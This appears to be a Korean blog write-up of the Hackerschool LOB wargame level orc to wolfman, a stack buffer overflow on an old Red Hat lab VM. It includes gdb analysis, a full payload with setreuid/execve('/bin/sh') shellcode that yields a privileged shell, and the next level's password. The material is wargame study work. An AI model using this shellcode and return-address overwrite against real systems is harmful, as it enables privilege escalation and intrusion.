[lob] 해커스쿨 orc -> wolfman 풀이

l 해커스쿨 orc 풀이

실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


 

 

 

 

orc 문제의 아이디인   orc 와 password인   cantata 을 입력하여 orc의 유저로 접속합니다.

 

 

 

[orc@localhost orc]$ ls -l
total 20
-rwsr-sr-x    1 wolfman  wolfman     12587 Feb 26  2010 wolfman
-rw-r--r--    1 root     root          581 Mar 29  2010 wolfman.c

 

 

 

 ls -l  명령어를 사용하여 현재 위치( /home/orc ) 아래에 있는 디렉터리의 목록을 확인합니다.

목록들 중 wolfman.c파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.

 

 

 

[orc@localhost orc]$ cat wolfman.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - wolfman
        - egghunter + buffer hunter
*/

#include <stdio.h> 
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

 

 

 

cat 명령어를 사용하여 wolfman.c파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.

 

주석에 BOF라고 쓰여 있는 것을 보니 버퍼오버플로우를 이용한 문제인 것 같습니다.

 

힌트 코드에서 다음의 조건을 확인할 수 있습니다.

1. argc는 2 이상이어야 합니다.

2. 환경 변수는 사용할 수 없습니다.

3. argv[1]의 48번째는 \xbf입니다.

4. buffer 공간을 사용할 수 없습니다.

 

 

 

[orc@localhost orc]$ cp wolfman orc
[orc@localhost orc]$ ls -l
total 36
-rwsr-sr-x    1 orc      orc         12587 Jan 14 12:11 orc
-rwsr-sr-x    1 wolfman  wolfman     12587 Feb 26  2010 wolfman
-rw-r--r--    1 root     root          581 Mar 29  2010 wolfman.c

 

 

 

문제를 풀기 전 퍼미션 문제 때문에 wolfman 파일을 복사해 orc라는 이름의 파일을 하나 생성하였습니다.

 

 

 

[orc@localhost orc]$ gdb orc
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048500   <main>
:       push   %ebp 
0x8048501 <main+1>:     mov    %esp,%ebp
0x8048503 <main+3>:     sub    $0x2c,%esp
0x8048506 <main+6>:     cmpl   $0x1,0x8(%ebp)
0x804850a <main+10>:    jg     0x8048523 <main+35>
0x804850c <main+12>:    push   $0x8048640
0x8048511 <main+17>:    call   0x8048410 
0x8048516 <main+22>:    add    $0x4,%esp
0x8048519 <main+25>:    push   $0x0
0x804851b <main+27>:    call   0x8048420 
0x8048520 <main+32>:    add    $0x4,%esp
0x8048523 <main+35>:    nop
0x8048524 <main+36>:    movl   $0x0,0xffffffd4(%ebp)
0x804852b <main+43>:    nop
0x804852c <main+44>:    lea    0x0(%esi,1),%esi
0x8048530 <main+48>:    mov    0xffffffd4(%ebp),%eax
0x8048533 <main+51>:    lea    0x0(,%eax,4),%edx
0x804853a <main+58>:    mov    0x8049760,%eax
0x804853f <main+63>:    cmpl   $0x0,(%eax,%edx,1)
0x8048543 <main+67>:    jne    0x8048547 <main+71>
0x8048545 <main+69>:    jmp    0x8048587 <main+135>
0x8048547 <main+71>:    mov    0xffffffd4(%ebp),%eax
0x804854a <main+74>:    lea    0x0(,%eax,4),%edx
0x8048551 <main+81>:    mov    0x8049760,%eax
0x8048556 <main+86>:    mov    (%eax,%edx,1),%edx
0x8048559 <main+89>:    push   %edx
0x804855a <main+90>:    call   0x80483f0 
0x804855f <main+95>:    add    $0x4,%esp
0x8048562 <main+98>:    mov    %eax,%eax
0x8048564 <main+100>:   push   %eax
0x8048565 <main+101>:   push   $0x0
0x8048567 <main+103>:   mov    0xffffffd4(%ebp),%eax
0x804856a <main+106>:   lea    0x0(,%eax,4),%edx
0x8048571 <main+113>:   mov    0x8049760,%eax
0x8048576 <main+118>:   mov    (%eax,%edx,1),%edx
0x8048579 <main+121>:   push   %edx
0x804857a <main+122>:   call   0x8048430 
0x804857f <main+127>:   add    $0xc,%esp
0x8048582 <main+130>:   incl   0xffffffd4(%ebp)
0x8048585 <main+133>:   jmp    0x8048530 <main+48>
0x8048587 <main+135>:   mov    0xc(%ebp),%eax
0x804858a <main+138>:   add    $0x4,%eax
---Type  to continue, or q  to quit---
0x804858d <main+141>:   mov    (%eax),%edx
0x804858f <main+143>:   add    $0x2f,%edx
0x8048592 <main+146>:   cmpb   $0xbf,(%edx)
0x8048595 <main+149>:   je     0x80485b0 <main+176>
0x8048597 <main+151>:   push   $0x804864c
0x804859c <main+156>:   call   0x8048410 
0x80485a1 <main+161>:   add    $0x4,%esp
0x80485a4 <main+164>:   push   $0x0
0x80485a6 <main+166>:   call   0x8048420  <exit>
0x80485ab <main+171>:   add    $0x4,%esp
0x80485ae <main+174>:   mov    %esi,%esi
0x80485b0 <main+176>:   mov    0xc(%ebp),%eax
0x80485b3 <main+179>:   add    $0x4,%eax
0x80485b6 <main+182>:   mov    (%eax),%edx
0x80485b8 <main+184>:   push   %edx
0x80485b9 <main+185>:   lea    0xffffffd8(%ebp),%eax
0x80485bc <main+188>:   push   %eax
0x80485bd <main+189>:   call   0x8048440  <strcpy>
0x80485c2 <main+194>:   add    $0x8,%esp
0x80485c5 <main+197>:   lea    0xffffffd8(%ebp),%eax
0x80485c8 <main+200>:   push   %eax
0x80485c9 <main+201>:   push   $0x8048669
0x80485ce <main+206>:   call   0x8048410  <printf>
0x80485d3 <main+211>:   add    $0x8,%esp
0x80485d6 <main+214>:   push   $0x28
0x80485d8 <main+216>:   push   $0x0
0x80485da <main+218>:   lea    0xffffffd8(%ebp),%eax
0x80485dd <main+221>:   push   %eax
0x80485de <main+222>:   call   0x8048430  <memset>
0x80485e3 <main+227>:   add    $0xc,%esp
0x80485e6 <main+230>:   leave
0x80485e7 <main+231>:   ret
0x80485e8 <main+232>:   nop
0x80485e9 <main+233>:   nop
0x80485ea <main+234>:   nop
0x80485eb <main+235>:   nop
0x80485ec <main+236>:   nop
0x80485ed <main+237>:   nop
0x80485ee <main+238>:   nop
0x80485ef <main+239>:   nop
End of assembler dump.

 

 

 

orc 파일을 gdb로 분석해보도록 하겠습니다. 
disas main 명령을 통해 main의 어셈블리 코드를 보겠습니다. 우리는 여기서 빨간색 부분을 집중해 보도록 할 것입니다.

 

 

 

 

 

1. 0x8048503 <main+3>:     sub    $0x2c,%esp 

0x2c를 10진수로 변환하면 44입니다. 스택에 44byte를 할당합니다.

 

 

2. 0x80485bd <main+189>:   call   0x8048440  <strcpy>

wolfman.c 코드상에서 strcpy 부분을 보면 buffer에 argv[1]의 문자열을 대입하고 있습니다. 스택에 인자가 push 되는 순서는 argv[1]가 먼저 push 되고, 그다음 buffer가 push 됩니다. 따라서 <main + 185>의 ebp - [0xffffffd8의 2의 보수 취한 값]이 buffer의 시작 위치가 됩니다. 

 

11011000 => 00100111 => 00101000 = 8 + 32 = 40

buffer의 시작 지점이 ebp - 40부터인 것을 알 수 있습니다. 

 

힌트 코드상에서 i는 int형이고, buffer 보다 늦게 선언되었기때문에 메모리 구조에서 봤을 때 i는 ebp - 44부터 시작할 것입니다. ( 스택에 44byte 할당되었습니다.)

 

 

메모리 구조를 보면 아래와 같습니다.

 

 

전체적으로 봤을 때 앞의 goblin 문제와 메모리 구조도 같고, 푸는 방식도 같습니다. 이어서 문제를 풀어보겠습니다.

 

 

buffer공간과 환경 변수 공간을 사용할 수 없기 때문에 argv[2] 공간을 사용하도록 하겠습니다. buffer가 ebp - 40에서 시작되기 때문에 sfp까지 총 44byte를 \x90으로 채워주고, return 부분에 argv[2]의 시작 주소를, argv[2]에 셸 코드를 넣어주겠습니다.

 

 

그러기 위해서 argv[2]의 시작 주소를 gdb를 이용해 알아보겠습니다.

 

 

(gdb) b *main+194
Breakpoint 1 at 0x80485c2
(gdb) r `python -c 'print "A"*47+"\xbf"'` `python -c 'print "B"*100'`
Starting program: /home/orc/orc `python -c 'print "A"*47+"\xbf"'` `python -c 'print "B"*100'`

Breakpoint 1, 0x80485c2 in main ()

(gdb) x/100x $esp
0xbffffaa4:     0xbffffab0      0xbffffc2e      0x00000013      0x41414141
0xbffffab4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffac4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffad4:     0x41414141      0x41414141      0xbf414141      0x00000000
0xbffffae4:     0xbffffb24      0xbffffb34      0x40013868      0x00000003
0xbffffaf4:     0x08048450      0x00000000      0x08048471      0x08048500
0xbffffb04:     0x00000003      0xbffffb24      0x08048390      0x0804861c
0xbffffb14:     0x4000ae60      0xbffffb1c      0x40013e90      0x00000003
0xbffffb24:     0xbffffc20      0xbffffc2e      0xbffffc5f      0x00000000
0xbffffb34:     0xbffffcc4      0xbffffce6      0xbffffcf0      0xbffffcfe
0xbffffb44:     0xbffffd1d      0xbffffd29      0xbffffd42      0xbffffd5b
0xbffffb54:     0xbffffd66      0xbffffd74      0xbffffdb3      0xbffffdc2
0xbffffb64:     0xbffffdd7      0xbffffde7      0xbffffdf0      0xbffffe0b
0xbffffb74:     0xbffffe16      0xbffffe23      0xbffffe2b      0x00000000
0xbffffb84:     0x00000003      0x08048034      0x00000004      0x00000020
0xbffffb94:     0x00000005      0x00000006      0x00000006      0x00001000
0xbffffba4:     0x00000007      0x40000000      0x00000008      0x00000000
0xbffffbb4:     0x00000009      0x08048450      0x0000000b      0x000001f8
0xbffffbc4:     0x0000000c      0x000001f8      0x0000000d      0x000001f8
0xbffffbd4:     0x0000000e      0x000001f8      0x00000010      0x0f8bfbff
0xbffffbe4:     0x0000000f      0xbffffc1b      0x00000000      0x00000000
0xbffffbf4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc04:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc14:     0x00000000      0x69000000      0x00363836      0x6d6f682f
0xbffffc24:     0x726f2f65      0x726f2f63      0x41410063      0x41414141
(gdb)
0xbffffc34:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc44:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc54:     0x41414141      0x41414141      0x4200bf41      0x42424242
0xbffffc64:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffc74:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffc84:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffc94:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffca4:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffcb4:     0x42424242      0x42424242      0x42424242      0x00424242
0xbffffcc4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffcd4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffce4:     0x00000000      0x00000000      0x00000000      0x00000000
...

 

 

 

인자로 argv[1]에는 "A" 47개와 "\xbf"를 argv[2]에는 "B" 100개를 넘겨주었습니다. 빨간색 부분이 argv[2]의 처음 시작 지점입니다. argv[2]가 0xbffffc5c부터 시작되는 것을 알 수 있습니다. 

 

페이로드를 구성해보겠습니다.

 

 

| 페이로드

 ./wolfman `python -c 'print "\x90"*44+"\x5c\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

 

 

[orc@localhost orc]$ bash2
[orc@localhost orc]$ ./wolfman `python -c 'print "\x90"*44+"\x5c\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
\üÿ¿
bash$ id
uid=505(wolfman) gid=504(orc) egid=505(wolfman) groups=504(orc)
bash$ my-pass
euid = 505
love eyuna

 

 

 

LOB 문제를 풀 때에는 bash2를 필수적으로 입력해주셔야 합니다.

 

bash2를 입력 후 위의 페이로드를 넣어보니 uid가 wolfman으로 나오며 셸을 취득할 수 있었습니다. 셸 취득 후 my-pass를 입력하게 되면 wolfman user의 password를 알 수 있습니다.

 

 

 

 

l wolfman 비밀번호

더보기

euid = 505
love eyuna

 

이 글을 공유하기

댓글

Designed by JB FACTORY